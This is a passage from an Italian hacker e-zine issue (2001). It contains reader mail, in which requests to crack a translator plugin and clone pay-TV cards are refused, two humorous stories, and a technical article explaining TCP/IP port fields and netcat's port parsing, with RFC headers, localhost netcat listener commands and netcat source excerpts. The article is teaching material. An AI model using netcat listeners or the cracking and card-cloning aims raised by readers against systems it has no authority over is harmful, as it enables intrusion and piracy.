| di un file musicale, d'immagine, etc... Qual'è il principio, cosa si va a |
| comprimere ? Come ? Ciò riguarda anche il .zip ? Se i codici di |
| "trasduzione" sono già belli e pronti, dove è possibile reperirli ? Potete |
| fornirmeli voi, possibilmente con relativa spiegazione ? Lo so che sto |
| chiedendo tanto e troppo, ma domandare non mi costa niente, l'alternativa |
| sarebbe rimanere nell'ignoranza. Spero in un vostro aiuto. |
| Vi ringrazio per l'attenzione e per tutto ciò che state facendo. Alla |
| prossima... |
| |
| [R] |
| In effetti la richiesta e' un po' impegnativa ! Posso indicarti un sito |
| dove reperire un sacco di codice sorgente: www.planetsourcecode.com. |
| Un altro sito interessante e' www.programmazione.it. |
| Gli altri argomenti ai quali hai accennato potrebbero essere trattati in |
| futuro |
| su OQ: basta che qualche volontario li scriva: cosi' funziona OQ... |
| |
+----> |
| |
| Date Sat, 06 Oct 2001 11:44:25 +0200 |
| To <mail@ondaquadra.cjb.net> |
| From "Boss74" <gigillo@...> |
| Subject Come Cav si fa per...... |
| |
| [D] |
| Avrei la necessità di craccare un traduttore che si installa sotto |
| word e che è molto bello. |
| ho provato a smanettarci un po con disassembler ed hex editor ma non |
| sono riuscito nell'opera. Il software si trova a |
| http://www2.systems.it/download/traduttore/tvntradu.zip |
| Potreste aiutarmi? |
| Vi ringrazio... |
| Siete fortissimi... |
| |
| [R] |
| No, non possiamo aiutarti. |
| |
+----> |
| |
| Date Wed, 26 Sep 2001 22:26:14 +0200 |
| To <mail@ondaquadra.cjb.net> |
| From "Antonio ..." <pplntn@...> |
| Subject tele+ |
| |
| [D] |
| vorrei sapere dove posso trovare una guida completa per la clonazione di = |
| schede di tele+ o stream. |
| SPero possiate essermi di aiuto.... |
| Grazie. |
| |
| [R] |
| No, non possiamo esserti d'aiuto. |
| |
+----> |
| |
| Date 24 Sep 2001 23:32:57 -0000 |
| To mail@ondaquadra.cjb.net |
| From marmen@... |
| Subject Salve ragazzi |
| |
| [D] |
| Salve ragazzi, premetto che sono un vostro lettore, mi piacete molto |
| e credo che facciate parte di quei poki che in italia ha ben chiaro |
| in mente il significato di hacker e quindi di libertà. |
| Vi vorrei proporre un progetto: |
| creare un sito semplice, molto semplice, dove si spieghi una volta |
| per tutte il vero significato di hacker, per differenziarci definitivamente |
| dai cracker o dai lamer... |
| per dare la giusta importanza e risonanza alle nostre idee SENZA INCITARE |
| NESSUNO ma farci apprezzare per quello che siamo: semplici curiosi |
| cybernauti :) |
| dobbiamo unirci perchè siamo rimasti veramente in pochi... |
| vi prego di rispondermi, anke se la risposta dovesse essere negativa... |
| P.S. il nome del sito... hackers.it ovviamente :) |
| P.P.S. HACK THE PLANET |
| |
| [R] |
| Sinceramente non avvertiamo la necessita' di aprire un sito di nome |
| "hackers.it" che spieghi il vero significato dell'hacking... |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #04 - 19/11/2001 |
| ME L'HA DETT0 MiO CUGGiN0 [tdi110cv] 0x04/0x23 |
+-------------------------------------------------------------------------------+
| |
| La seguente storiella con l'hacking o simili non ha nulla a che vedere , ma |
| |
| l'ho inserita proprio perchè come da ogni storiella si puo' trarne un |
| |
| insegnamento ... la presente l'ho trovata su una schifosissima mailing list |
| |
| e ve la passo RIPPATA (si stavolta ho rippato veramente) paro paro. |
| |
| Traetene le dovute conclusioni ... |
| |
| * * * |
| |
| Un professore di filosofia era in piedi davanti alla sua classe, prima |
| |
| della lezione,ed aveva davanti a sé alcuni oggetti.. |
| |
| Quando la lezione cominciò, senza proferire parola il professore prese un |
| |
| grosso vaso per la maionese, vuoto, e lo riempì con delle rocce di 5-6 |
| |
| cm di diametro. |
| |
| Quindi egli chiese agli studenti se il vaso fosse pieno, ed essi annuirono. |
| |
| Allora il professore prese una scatola di sassolini, e li versò nel vaso di |
| |
| maionese, scuotendolo appena. |
| |
| I sassolini, ovviamente, rotolarono negli spazi vuoti fra le rocce. |
| |
| Il professore quindi chiese ancora se il vaso ora fosse pieno, ed essi |
| |
| furono d'accordo. |
| |
| Gli studenti cominciarono a ridere, quando il professore prese una scatola |
| |
| di sabbia e la versò nel vaso. |
| |
| La sabbia riempì ogni spazio vuoto. |
| |
| "Ora" , disse il professore, "voglio che voi riconosciate che questa è la |
| |
| vostra vita. |
| |
| Le rocce sono le cose importanti - la famiglia, il partner, la salute, i |
| |
| figli - anche se ogni altra cosa dovesse mancare, e solo queste rimanere, |
| |
| la vostra vita sarebbe comunque piena. |
| |
| I sassolini sono le altre cose che contano, come il lavoro, la casa, |
| |
| l'auto. |
| |
| La sabbia rappresenta qualsiasi altra cosa, le piccole cose. |
| |
| Se voi riempite il vaso prima con la sabbia, non ci sarà più spazio per |
| |
| rocce e sassolini. |
| |
| Lo stesso è per la vostra vita; se voi spendete tutto il vostro tempo ed |
| |
| energie per le piccole cose,non avrete mai spazio per le cose veramente |
| |
| importanti. |
| |
| Stabilite le vostre priorità, il resto è solo sabbia". |
| |
| Dopo queste parole........ |
| |
| Uno studente si alzò e prese il vaso contenente rocce, sassolini e sabbia, |
| |
| che tutti consideravano pieno, e cominciò a versagli dentro un bicchiere |
| |
| di birra. |
| |
| Ovviamente la birra si infilò nei rimanenti spazi vuoti, e riempì veramente |
| |
| il vaso fino all'orlo. |
| |
| La morale di questa storia è: |
| |
| non importa quanto piena è la vostra vita, c'è sempre spazio per una BIRRA! |
| |
| * * * |
| |
| Direi che la cosa non ha bisgono di commenti ... |
| |
| Sincerely TDI110CV ... |
| |
+-------------------------------------------------------------------------------+
| E Voi ... affidatevi a Telecoz Italia ... |
+-------------------------------------------------------------------------------+
| |
| Nel presente articolo non troverete nulla di sovversivo e nessuna tecnica. |
| L'unica cosa che troverete sara' la narrazione di un colloquio telefonico |
| avvenuto con un paio di omini telecoz. |
| Dovete pensare infatti che in Italia quasi tutto cio che rientra nel campo |
| delle telecomunicazioni e' gestito dalla nostra beneamata telecoz Italia. |
| Un pomeriggio , mentre mi trovavo in ufficio , ho reclamato alla caxxo in |
| oggetto il fatto che una linea dedicata , che connette i nostri terminali |
| ad un host remoto , non funzionava affatto bene. |
| Spesso ci capitavano interruzioni inspiegabili e rallentamenti a dire poco |
| Tartarughiani. |
| La telecoz mi risponde che avrebbe controllato e che eventualmente avrebbe |
| fatto uscire un Tecnico a far controllare lo SNA e il modem in questione. |
| Sentite tali parole mi son caduti circa 3.000 capelli. |
| Ho pensato subito che non poteva altro che finire peggio di come la |
| situazione |
| era attualmente. |
| Infatti ... Vabbè ora vi scrivo per filo e per segno la telefonata |
| successiva |
| perchè sto ancora ridendo. Ovviamente non potro' fare nomi , ma cerchero' |
| di spiegarmi al meglio. (dialetto Rulez) |
| |
| telecoz - A bongiorno , chi se la telecoz Venessia , con ci parlo ? |
| Tdi - Ehm ... bongiorno io sono il Sign. TDI , mi dica pure ... |
| telecoz - Alura Sign. TDI mi gho manda' un Tennico in Via XXX alla ditta |
| YYY per dei problemi de linea. |
| Tdi - Si perfetto la via e' quella e la ditta pure , quindi ? |
| telecoz - Ecco ehmm ... pero' ghe se un problema ostia |
| Tdi - Scusi che problema ? |
| telecoz - E insomma el Tennico le proprio nella via XXX ma in via XXX non |
| ghe |
| se niente. |
| Tdi - Cosa ? Guardi in quella via ci son circa 10.000 persone che lavorano. |
| telecoz - E no ... a mi el Tennico me gha ditto che non ghe se n'ostrega. |
| Tdi - Ehm ... guardi ci deve essere un errore perchè in quella Via ci |
| saranno |
| almeno 10 aziende enormi. |
| |
| (Ora mi e' venuto il dubbio che si trovasse in un altra citta' , ma la |
| possibilita' era molto remota dal momento che in Italia non ci devono |
| essere |
| piu' attivita' con lo stesso nome no ?!) |
| |
| Tdi - Scusi ma e' sicuro che la via sia XXX e la ditta YYY di ZZZ ? |
| telecoz - E insoma acchi' non semo mia imbecili ah ?! |
| |
| (La risposta sorge spontanea) |
| |
| telecoz - Alura Sior. Tdi el speta n'attimo che sento el Tennico |
| |
| (Dopo 2 minuti abbondanti di attesa l'omino telecoz torna alla riscossa) |
| |
| telecoz - Alura TDI el problema le' n'altro , el tecnico el se trova in via |
| XXX (notare che il pirla cita solo la via) , ma nol trova mia |
| la linea. |
| |
| (Citandomi solo la via cosa vado a pensare ? Vado a pensare che questo si |
| trova nella via interessata in mezzo alla strada , e che sta cercando il |
| suo amato gabbiottino delle derivazioni no ?! e inve
ce ...) |
| |
| Tdi - Come non trova la linea ? Che tipo di linea cerca ? |
| telecoz - E insoma se la linea quella fata con i fili che fan pasare |
| le informasioni no ?! |
| Tdi - Insomma onestamente ho una vaga idea di cosa sia una linea , ma non |
| capisco cosa stia cercando in mezzo alla strada ... |
| telecoz - ehm ... no no Sior TDI , non se semo mia capiti. Anzi me sa tanto |
| che non ho capio n'ostia gnanca mi. El staga in linea che sento |
| ancora el Tennico. |
| |
| (ora uno che mi da una definizione simile di una linea telematica lo |
| prenderei e lo manderei a zappare la terra , e poi che caxxo mi rompi le |
| palle se neanche tu hai idea di dove sia e cosa stia cercando il 'TENNICO') |
| |
| telecoz - Sior TDI le pasarea n'atimo el Tennico parchè non capiso sa sta |
| sucedendo. |
| Tdi - E vabbè passame sto caxxo de Tennico. |
| |
| (chissa che almeno il secondo tennico sia un pochino piu' sveglio no ?! |
| Insomma la speranza e' l'ultima a morire no ? E ancora una volta incece |
| ...) |
| |
| telecoz2 - A bongiorno Sior. TDI |
| Tdi(incazz) - Ehm buongiorno mi dica qual'è il problema ? |
| telecoz2 - Alura el problema se che chi in via XXX non ghe se la linea. |
| Tdi(incazz) - Scusi come non ce linea ? |
| telecoz2 - Ma si dai la linea , insomma el macchinino dove ghe se mete la |
| spina del telefono no ?! |
| Tdi - Insomma il modem ?! |
| telecoz - Eh brao proprio il modem , salo quel che se usa anca par INTERNET |
| ? |
| Tdi - Si , piu' o meno , diciamo che ho una vaga idea di cosa sia un modem. |
| Ma scusi se lei si trova in via XXX il modem dove spera di trovarlo ? |
| telecoz2 - Ma no , mi son in via XXX ma sono rento la dita YYY di via XXX. |
| Tdi - A ma allora si trova gia in ditta , e ditelo no ?! Ma scusi dove si |
| trova ora ? |
| telecoz2 - Be Sior TDI , mi ora son in una stasetta dove arivano tuti i fili |
| salo quel posto dove ghe tanti computer uno sopra l'altro e |
| colegadi tutti con i fili... ehm insoma ... |
| |
| (Ossignur ... stai a vedere che questo si trova in sala macchine) |
| |
| Tdi - Caxxo ma allora lei si trova in sala macchine no ?! |
| telecoz2 - Eco si ! La se ciama proprio sala macchine. |
| |
| (Ora io mi chiedo come cazzo sia entrato in sala macchine dal momento che |
| la chiave elettronica della suddetta l'ha solo il responsabile dei |
| sistemisti.) |
| |
| Tdi - Scusi ma ora in sala macchine che cerca ? |
| telecoz2 - Be mi cerco proprio el modem , ma nol trovo mia OSTIA @!*§# |
| Tdi - Guardi il modem si trova in quell'armadio (TRASPARENTE) insieme a |
| tutti |
| gli altri. (saranno una cinquantina) |
| Pero' e' meglio se parla con la persona XXXXXXXXX |
| telecoz2 - An si ? Alora sicome acchi' ghe se un so colega sento lu se me sa |
| dir dove poter rintraciare sto XXXXXXXXX |
| Tdi - Senta pure cosi' poi io torno alle mie faccende no ?! |
| |
| (sento le 2 voci che si parlano e dicono ...) |
| |
| telecoz2 - Scusi i me gha ditto de parlar con un certo XXXXXXXXX salo dove |
| poso trovarlo ? |
| XXXXXXXX - GUARDI CHE IL SIGNORE CHE CERCA ... SONO IO ... |
| |
| A questo punto ho sbattuto giu il telefono perchè la cosa oltre a sembrare |
| una presa per il culo mi aveva portato via anche 20 minuti. |
| Ma adesso come adesso sto ridendo ancora. |
| Ora secondo Voi se avessi chiesto di montare un Router ... che cazzo |
| combinavano ? |
| Approposito ... la linea e' come prima se non peggio ... |
| Termino con la tipica espressione del cazzo di 102.5 ... Viva l'Italia ... |
| |
| Ciao a tutti il Vostro TDI110CV ___________ |
| |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 |
| P0RTE, MA QUANTE S0N0? [TheMRcode] 0x05/0x23 |
+-------------------------------------------------------------------------------+
| |
|Eccomi qua, mentre mi sorbo lentamente un vasetto di yoghurt ai frutti di |
|boscaglia, per fare un appunto su "METTiAM0 NETCAT NELL'0MBRA", un articolo |
|apparso su #oq02, scritto da Tdi110cv. |
|Ora, precisando che non è mia intenzione ne offendere, ne sputtanare TDI |
|davanti a tutti, ma solo fare un "Errata Corrige" dell' articolo.Già, perchè le|
|informazioni date nel suddetto sono errate, Perchè ? Vediamolo insieme ! Come |
|ben sapete, Internet (e le reti in generale, e anche la vita) si basa su dei |
|protocolli. Il più conosciuto è sicuramente l'IP (non il benzinaio, ma Internet|
|Protocol :). Esso ha una struttura molto semplice, e fornisce solamente un |
|servizio, diciamo "di supporto" per altri protocolli (TCP,UDP,ICMP,..).Vediamo |
|insieme la struttura del IP (tratta dal RFC 791): |
| |
| 0 1 2 3 |
| 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| |Version| IHL |Type of Service| Total Length | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Identification |Flags| Fragment Offset | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Time to Live | Protocol | Header Checksum | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Source Address | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Destination Address | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Options | Padding | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| |
|Come vedete è suddiviso in campi di bit (non byte, attenzione) di lunghezza |
|variabile. Come potete notare, non è presente il campo che specifica la porta a|
|cui mandare il pacchetto. Molti potranno dire: "e Type of Services allora cos'è|
|?". Rispondo prendendo direttamente la descrizione dall'RFC: |
| |
|[----------- SNIP -----------] |
| |
|Type of Service: 8 bits |
| |
| The Type of Service provides an indication of the abstract |
| parameters of the quality of service desired. These parameters are |
| to be used to guide the selection of the actual service parameters |
| when transmitting a datagram through a particular network. Several |
| networks offer service precedence, which somehow treats high |
| precedence traffic as more important than other traffic (generally |
| by accepting only traffic above a certain precedence at time of high |
| load). The major choice is a three way tradeoff between low-delay, |
| high-reliability, and high-throughput. |
| |
| Bits 0-2: Precedence. |
| Bit 3: 0 = Normal Delay, 1 = Low Delay. |
| Bits 4: 0 = Normal Throughput, 1 = High Throughput. |
| Bits 5: 0 = Normal Relibility, 1 = High Relibility. |
| Bit 6-7: Reserved for Future Use. |
| |
| 0 1 2 3 4 5 6 7 |
| +-----+-----+-----+-----+-----+-----+-----+-----+ |
| | | | | | | | |
| | PRECEDENCE | D | T | R | 0 | 0 | |
| | | | | | | | |
| +-----+-----+-----+-----+-----+-----+-----+-----+ |
| |
| Precedence |
| |
| 111 - Network Control |
| 110 - Internetwork Control |
| 101 - CRITIC/ECP |
| 100 - Flash Override |
| 011 - Flash |
| 010 - Immediate |
| 001 - Priority |
| 000 - Routine |
| |
| The use of the Delay, Throughput, and Reliability indications may |
| increase the cost (in some sense) of the service. In many networks |
| better performance for one of these parameters is coupled with worse |
| performance on another. Except for very unusual cases at most two |
| of these three indications should be set. |
| |
| The type of service is used to specify the treatment of the datagram |
| during its transmission through the internet system. Example |
| mappings of the internet type of service to the actual service |
| provided on networks such as AUTODIN II, ARPANET, SATNET, and PRNET |
| is given in "Service Mappings" [8]. |
| |
| The Network Control precedence designation is intended to be used |
| within a network only. The actual use and control of that |
| designation is up to each network. The Internetwork Control |
| designation is intended for use by gateway control originators only. |
| If the actual use of these precedence designations is of concern to |
| a particular network, it is the responsibility of that network to |
| control the access to, and use of, those precedence designations. |
| |
|[----------- SNIP -----------] |
| |
|Non capite l'inglese ? Beh, io nemmeno tanto :) |
|Comunque, il campo ToS si occupa diciamo di dare una certa priorità del |
|pacchetto sugli altri. Un vantaggio potrebbe essere quello di mandare un |
|pacchetto SYN con priorità più alta rispetto agli altri, cosi da velocizzare il|
|collegamento, ad esempio, con un server Web (cosa che viene fatta). In parole |
|povere, non è quel di cui dobbiamo parlare :) |
| |
|Per trovare quello che vogliamo (il campo dove viene immagazzinata la porta a |
|cui connettersi), dobbiamo cercare in un'altro header. Il TCP ad esempio ! |
|L'acronimo TCP sta per Tansmission Control Protocol. Infatti viene utilizzato |
|come base per HTTP, FTP; POP3, SMTP, e molti altri. La particolarita del TCP è |
|che offre un controllo dei pacchetti, cosa che l'IP non fa. Esempio: devo |
|mandare 30 byte di dati a un server. Il socket, per evitare di rallentare il pc|
|(o la rete), cosa fa ? Esegue il frammenting, cioè spezzetta i dati da mandare |
|in più pacchetti. Cosi ottieniamo 3 (per non dire 2 o 10) pacchetti,dove ognuno|
|contiene 10 byte di dati. Poi uno ad uno vengono spediti al destinatario. Ma si|
|sa, la rete non è molto affidabile, e a volte i router hanno picchi di lavoro, |
|che possono causare inconvenienti, del tipo i pacchetti non seguono tutti la |
|stessa "strada", ma passano per router diversi per arrivare a destinazione. Cio|
|puo comportare il fatto che i pacchetti non arrivino in ordine, ma mischiati |
|(3-1-2 ad esempio). Qui interviene il TCP, che si occupa di mettere in ordine i|
|pacchetti, e farli arrivare belli e sani come al principio. Ma se un paccheto |
|dovesse perdersi (capita spesso) ?? Anche qui il TCP interviene, segnalando al |
|mittente che manca uno o più pacchetti, per poi rispedirli. La segnalazione,che|
|è di tipo passivo, avviene mandando un pacchetto di ricevuta per ogni pacchetto|
|arrivato. Come la posta raccomandata, se non vi arriva la conferma,rimandate la|
|lettera. Beh, ho parlato fin troppo teoricamente. Vediamoci l'header (tratto la|
|RFC 793): |
| |
| 0 1 2 3 |
| 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Source Port | Destination Port | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Sequence Number | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Acknowledgment Number | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Data | |U|A|P|R|S|F| | |
| | Offset| Reserved |R|C|S|S|Y|I| Window | |
| | | |G|K|H|T|N|N| | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Checksum | Urgent Pointer | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Options | Padding | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | data | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| |
|PS: Pure qui tutti bit, non byte |
| |
|Come vedete, è molto più complicato di quello dell'IP (no, non il benzinaio, |
|uffa !! ;) |
|Ma cosa vedo subito in cima ? Source and Destination Port !! Eccoli qua !!! |
|Finalmente ! |
| |
|[----------- DISGRESSIONE -----------] |
| |
|Forse non vi è ben chiaro cosa sia il source port ? Io avevo dei dubbi su cio |
|fino a 5 mesi fa, percui, ve lo spiego, cosi taglio la testa la toro anche per |
|voi :) (e poi non ha mai fatto male a nessuno un po di spiegazioni) |
| |
|Il TCP funziona un po come una comunicazione fra le solite 2 condominiali |
|pettegole, che si scambiano "vitali" informazioni su ogni cosa che le circonda.|
| |
|(A)- "Ma lo sai che quella del 4' piano ha comprato una scatola da 25 di |
|preserativi Duron, quelli ritardati ??" |
|(B)- "Ohh ,allora si vede che fa le corna con il portiere, quel gran pezzo di |
|gnocco !" |
|(A)- "Eggia !! me lo vorrei fare io quell li, e senza Duron !!!" |
|(B)- "Ehhh, ma quello li ha tutte le gnocche davanti, vuoi che pensi a noi 2 di|
|60 anni ?" |
| |
|Vabbe, questi sono esempi, poi gli argomenti variano :P |
| |
|vicina(A) -> finestra(A) -> finestra(B) -> vicina(B) |
|vicina(B) -> finestra(B) -> finestra(A) -> vicina(A) |
| |
|vicina(A) == client |
|finestra(A) == source port |
|finestra(B) == destination port |
|vicina(B) == server |
| |
|E viceversa. |
| |
|Tornando al mondo dei PC, facciamo un esempio (tecnico questa volta) |
|schematizzato: |
| |
|mIRC --> 127.0.0.1:1432 --> 123.456.789:6667 --> Bahamuh |
|Bahamut --> 123.456.789:6667 --> 127.0.0.1:1432 --> mIRC |
| |
|PS: gli IP sono inventati (eddai, a memoria mica me li ricordo, su :) |
|PS2: Bahamut è il nuovo ircD che verrà montato sulle reti di AzzurraNet |
|(irc.azzurranet.org) |
|PS3: Se usare kVirc, ircII, xCHAT, bitchX, dIRC, pIRC, ecc ecc, la cosa vale lo|
|stesso |
| |
|Insomma, dovrebbe esservi chiaro. Ogni volta che voi vi volete connettere a una|
|porta remota, dovete per forza aprire una porta locale, senno da dove escono i |
|dati ? Spero abbiate capito :) |
| |
|[----------- DIGRESSIONE -----------] |
| |
|Pausa cena............rieccomi ! |
| |
|Ritornando al tema principale, avrete notato che i campi Source e Destination |
|Port (d'ora in avanti, SP e DP) sono formati da una serie di 16 bit l'uno. Non |
|sapete cosa sono i bit ?? No, dai ! Non fatemi fare un'altra disgressione :) |
|In parole povere, i bit sono la minima unità (anzi, l'unica, visto che i byte e|
|multipli sono solo insiemi di bit) di dati che un computer puo gestire. Per |
|approfondimenti, leggetevi i tutorial sull'assembler di Emanuele Del Bono su |
|www.programmazione.it.Ritornando a noi.. percui ogni porta può essere codata in|
|un massimo di 16 bit. Facciamo un po di conti: |
| |
|16 bit == 2 byte == 1 word |
|E qual'è il valore massimo assumibile da 1 word,nei vari sistemi di numerazione|
|? |
| |
| +----------------------------------------------------+ |
| | Binario | Esadecimale | Ottale | Decimale | |
| | -----------------|-------------|--------|----------| |
| | 1111111111111111 | FFFF | 177777 | 65535 | |
| +----------------------------------------------------+ |
| |
|Mi pare più che esplicativo. Tecnicamente è IMPOSSIBILE andare oltre la porta |
|65535. |
|Ma come mai TDI ha commesso un così grave errore ? E' presto spiegato. Lui ha |
|utilizzato come cavia di prova il NetCat, ed esso ha un particolare modo per |
|gestire le porte. Se voi scrivete "nc -l -p 99999999999" lui effetivamente si |
|mette in ascolto. |
| |
|;D:\MyFile\Netcat 1.1>nc -l -p 999999999 |
|; |
| |
|Essì, si mette in ascolto. Proviamo con un'altro NetCat a connetterci: |
| |
|;D:\MyFile\Netcat 1.1>nc 127.0.0.1 999999999 |
|; |
| |
|Essì, si connette ! E comunica anche ! Ma come è possibile allora ? Come fa a |
|gestire un SP e DP oltre i 16 bit ?? E' presto spiegato il trucco ! Provate a |
|usare il Very Verbose Mode del NetCat (flag -vv): |
| |
|;D:\MyFile\Netcat 1.1>nc -l -p 999999999 -vv |
|;listening on [any] 51711 ... |
|; |
| |
|;D:\MyFile\Netcat 1.1>nc 127.0.0.1 999999999 -vv |
|;127.0.0.1: inverse host lookup failed: h_errno 11004: NO_DATA |
|;(UNKNOWN) [127.0.0.1] 51711 (?) open |
|; |
| |
|Magia !! la porta 999999999 non c'è più ! E' venuta invece la 51711 !! Come mai|
|?? Qui lascio la parola a MrCode. E' lui che si è masochistizzato con i |
|sorgenti del NetCat :) |
| |
|Okkei, ormai mi ci hai tirato dentro e non posso fare altrimenti, ma prima di |
|tutto premetto una cosa: come già detto dal mio TheMr preferito (speriamo ce ne|
|sia uno solo...non oso pensare...brrrr ;) questo non vuole essere un qualcosa |
|per dare in testa a TDI110cv, che comunque stimo molto e reputo una persona in |
|gamba e competente, e' invece un pretesto per parlare in maniera semplice e |
|discorsiva di cosa combina al suo interno il nostro beneamato netcat.....ohhhh,|
|detto questo parto davvero :)) |
|Dietro alla discussione nata sul campo "porta" a 16bit, la curiosità mi ha |
|portato a spulciare i sorgenti del netcat, per vedere cosa mai combinasse con |
|quel valore passato in argomento dopo lo switch "-p", ecco cosa ne ho tirato |
|fuori: |
| |
|[snip] |
| |
| case 'p': /* local source port */ |
| o_lport = getportpoop (optarg, 0); |
| if (o_lport == 0) |
| bail ("invalid local port %s", optarg); |
| break; |
| |
|[snip] |
| |
|ecco il pezzo di codice dove il NC controlla l'argomento passato sulla linea |
|di comando come numero di porta, la funzione bail() stampa il messaggio di |
|errore solo nel caso in cui la getportpoop() restituisca 0, quindi steppiamo |
|(sice rulez hihihi) ancora e andiamo a vedere cosa fa di bello 'sta benedetta |
|funzione...prima pero' una curiosita, fammi un po vedere come e' dichiarata la |
|variabile o_lport....USHORT, bene sono proprio 16bit, come ci aspettavamo (per |
|dipiu' unsigned!...getportpoop() a noi due!) :P |
| |
|[snip] |
| |
|/* getportpoop : |
| Same general idea as gethostpoop -- look up a port in /etc/services, fill |
| in global port_poop, but return the actual port *number*. Pass ONE of: |
| pstring to resolve stuff like "23" or "exec"; |
| pnum to reverse-resolve something that's already a number. |
| If o_nflag is on, fill in what we can but skip the getservby??? stuff. |
| Might as well have consistent behavior here, and it *is* faster. */ |
|USHORT getportpoop (pstring, pnum) |
| char * pstring; |
| unsigned int pnum; |
|{ |
| |
|[snip] |
| |
|la funzione in questione effettua il parsing degli argomenti passati, e ritorna|
|un USHORT come effettivo numero di porta. Passando un puntatore ad una stringa |
|(char *pstring)la funzione cerca di ricavare il numero di porta sia facendo una|
|ricerca di corrispondenza tra il nome del servizio e l'effetivo numero di porta|
|(trovate la descrizione delle corrispondenze nome servizio <-> numero porta |
|nell'articolo del mio caro ph0b0s su ondaquadra.n°01 - PORTE TCP/UDP). Passando|
|un numero (int *pnum) la funzione cerca di verificarne l'esattezza. Poichè come|
|si vede dal precedente snip di codice la funzione e' invocato col passaggio |
|della stringa, si puo' scrivere dopo il "-p" qualsiasi cosa, tipo "-23", |
|"ftpippa", "themrbellissimo" o altre amenita' simili...ma guardiamo allora come|
|viene trattata la stringa? e il numero che ne esce fuori? come lo |
|ricava?..badiamo un po..... |
| |
|[snip] |
| |
|/* case 2: resolve a string, but we still give preference to numbers instead |
| of trying to resolve conflicts. None of the entries in *my* extensive |
| /etc/services begins with a digit, so this should "always work" unless |
| you're at 3com and have some company-internal services defined... */ |
| if (pstring) { |
| if (pnum) /* one or the other, pleeze */ |
| return (0); /* o l'uno o l'altro! :P */ |
| x = atoi (pstring); /* <--- ecco chi converte la stringa in|
|numero!! */ |
| if (x) |
| return (getportpoop (NULL, x)); /* recurse for numeric-string-arg */ |
| if (o_nflag) /* can't use names! */ |
| return (0); |
| servent = getservbyname (pstring, whichp); /* <- qui invece cerca la |
|corrispondenza */ |
| if (servent) { /* tra nome servizio e numero |
|porta */ |
| strncpy (portpoop->name, servent->s_name, sizeof (portpoop->name)); |
| x = ntohs (servent->s_port); |
| goto gp_finish; |
| } /* if servent */ |
| } /* if pstring */ |
| |
|[snip] |
| |
|ecco qua, questo e' il caso in cui pstring deve essere spulciato, e come lo |
|fa?..tramite un banalissimo atoi() e richiamando ricorsivamente la funzione col|
|numero restituito dalla atoi()...non mi piacciono le funzioni ricorsive, |
|ciucciano memoria sullo stack, vanno in overflow, le fanno nere!! eppoi il mio |
|proffe all'uni non le voleva nemmeno sentir nominare!! si potrebbe cambiare e |
|fare una versione non ricorsiva,del resto si tratta solo di 'parsare' un numero|
|e una stringa! :P |
|Bene, alla seconda chiamata,capitiamo nel caso in cui si passa alla funzione un|
|int...guardiamo un po... |
| |
|[snip] |
| |
|if (pnum) { |
| if (pstring) /* one or the other, pleeze */ |
| return (0); |
| x = pnum; |
| if (o_nflag) /* go faster, skip getservbyblah */ |
| goto gp_finish; |
| y = htons (x); /* gotta do this -- see Fig.1 below */ |
| servent = getservbyport (y, whichp); |
| if (servent) { |
| y = ntohs (servent->s_port); |
| if (x != y) /* "never happen" */ |
| holler ("Warning: port-bynum mismatch, %d != %d", x, y); |
| strncpy (portpoop->name, servent->s_name, sizeof (portpoop->name)); |
| } /* if servent */ |
| goto gp_finish; |
| } /* if pnum */ |
| |
|[snip] |
| |
|dopo aver fatto atoi() sulla stringa, la funzione effettua htons() (hex to |
|network number) sul numero ricavato e tenta di trovare il corrispondente |
|servizio con la getservbyport(). |
|La funzione finisce con un bel "goto" (che vergogna, io li odio i goto in C!! |
|Penso che non li sopportino nemmeno Kernighan e Ritchie.... :PP) guardiamo dove|
|ci porta......ovvero due righe piu' giu', dopo un return(0) messo per non farsi|
|rompere le scatole dal compilatore: |
| |
|[snip] |
| |
|gp_finish: |
|/* Fall here whether or not we have a valid servent at this point, with |
| x containing our [host-order and therefore useful, dammit] port number */ |
| |
|/* TRADUCO: la funzione cade qui, che abbia trovato un numero di porta valido |
|oppure no, con x che contiene il nostro [host-order e speriamo utile, |
|dannazione] numero di porta */ |
| |
